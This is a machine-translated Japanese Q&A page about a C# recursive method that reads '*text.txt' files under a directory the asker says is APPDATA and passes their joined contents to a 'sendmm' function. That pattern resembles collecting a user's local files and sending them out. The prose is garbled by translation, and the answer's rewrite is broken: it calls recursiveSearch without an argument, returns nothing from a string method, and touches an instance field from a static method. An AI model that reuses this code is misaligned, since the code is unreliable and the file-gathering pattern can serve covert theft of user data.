2016-09-27 7 views
-2

私は前に問題がありましたが、私はそれを解決しました。私はこの問題を解決できません。foreachループの前にif文が実行されるのはなぜですか?

文がforeachループの前に呼び出さおよびそのため、私はループの後送信したかった変数が空である場合、いくつかの理由

デバッグ絵。どうすれば修正できますか?コードは常に上から下に読み込まれると思いましたか?終わり

は、リストにはそれが必要なすべてが含まれますが文が二度目に呼び出されていない場合は...

 public static void GetAllFiles(string sDir) 
    { 
     List <string> datas = new List<string>(); 
     foreach (string dir in Directory.GetDirectories(sDir)) 
     { 
      try 
      { 
       foreach (string file in Directory.GetFiles(dir, "*text.txt")) 
       { 
        string var = File.ReadAllText(file); 
        datas.Add(var); 
       } 
       GetAllFiles(dir); 
      } 
      catch 
      { 
      } 
     } 
     if (datas != null) 
     { 
      string dets = String.Join("\n\n", datas.ToArray()); 
      sendmm(dets); 
     } 
    } 

APPDATAディレクトリが渡されているあなたの方法GetAllFilesが自分自身を呼び出している

+0

テキストエディタのスクリーンショットは、実際のコードを質問エディタに貼り付けるための非常に貧弱な代替品です。 –

+1

コードを貼り付けて見てもらうといいかもしれません。 – Ma3x

+0

編集中、申し訳ありません – Fightera100

答えて

0

これを行う最も簡単な方法です他の目的のために再帰が必要です。

List <string> datas = new List<string>(); 

public static void GetAllFiles(string sDir) 
{  datas = new List<string>(); 
     datas.AddRange(Directory.GetFiles(sDir); 
    foreach (string dir in Directory.GetDirectories(sDir)) 
    { 
     recursiveSearch();   
    } 
    if (datas != null) 
    { 
     string dets = String.Join("\n\n", datas.ToArray()); 
     sendmm(dets); 
    } 
} 
private string recursiveSearch(string dir) 
{ 
    datas.AddRange(Directory.GetFiles(dir)); 
    foreach(string directory in dir.GetDirectories()) 
    { 
     recursiveSearch(directory); 
    } 
} 
1

foreachループ内にあり、メソッドの開始時にリストをリセットしているので、ブロックの後に空のdatasリストが表示されます。

コールがもうディレクトリを返さなかったGetAllFilesコールで、デバッグ画像内の位置が2番目(またはさらに深い)のコール内にあります。あなたはすでにディレクトリがないいくつかのサブディレクトリの中にいました。

IDEでCall Stackウィンドウを開き、スタックを上下にクリックしてください。少なくとも2つのGetAllFilesエントリがスタックに表示されます。それらをクリックし、datasリストとその他のローカル変数を調べます。再帰の必要はありません

public static void GetAllFiles(string sDir) 
{ 
    Console.WriteLine(String.Join("\n\n",Directory.GetFiles(sDir, "*.*", SearchOption.AllDirectories))); 
} 

- しかし、あなたは、あなたの質問に再帰を使用するので、あなたは簡素化することができる、これはあなたがあなたの場合はそれを使用したい方法です:

関連する問題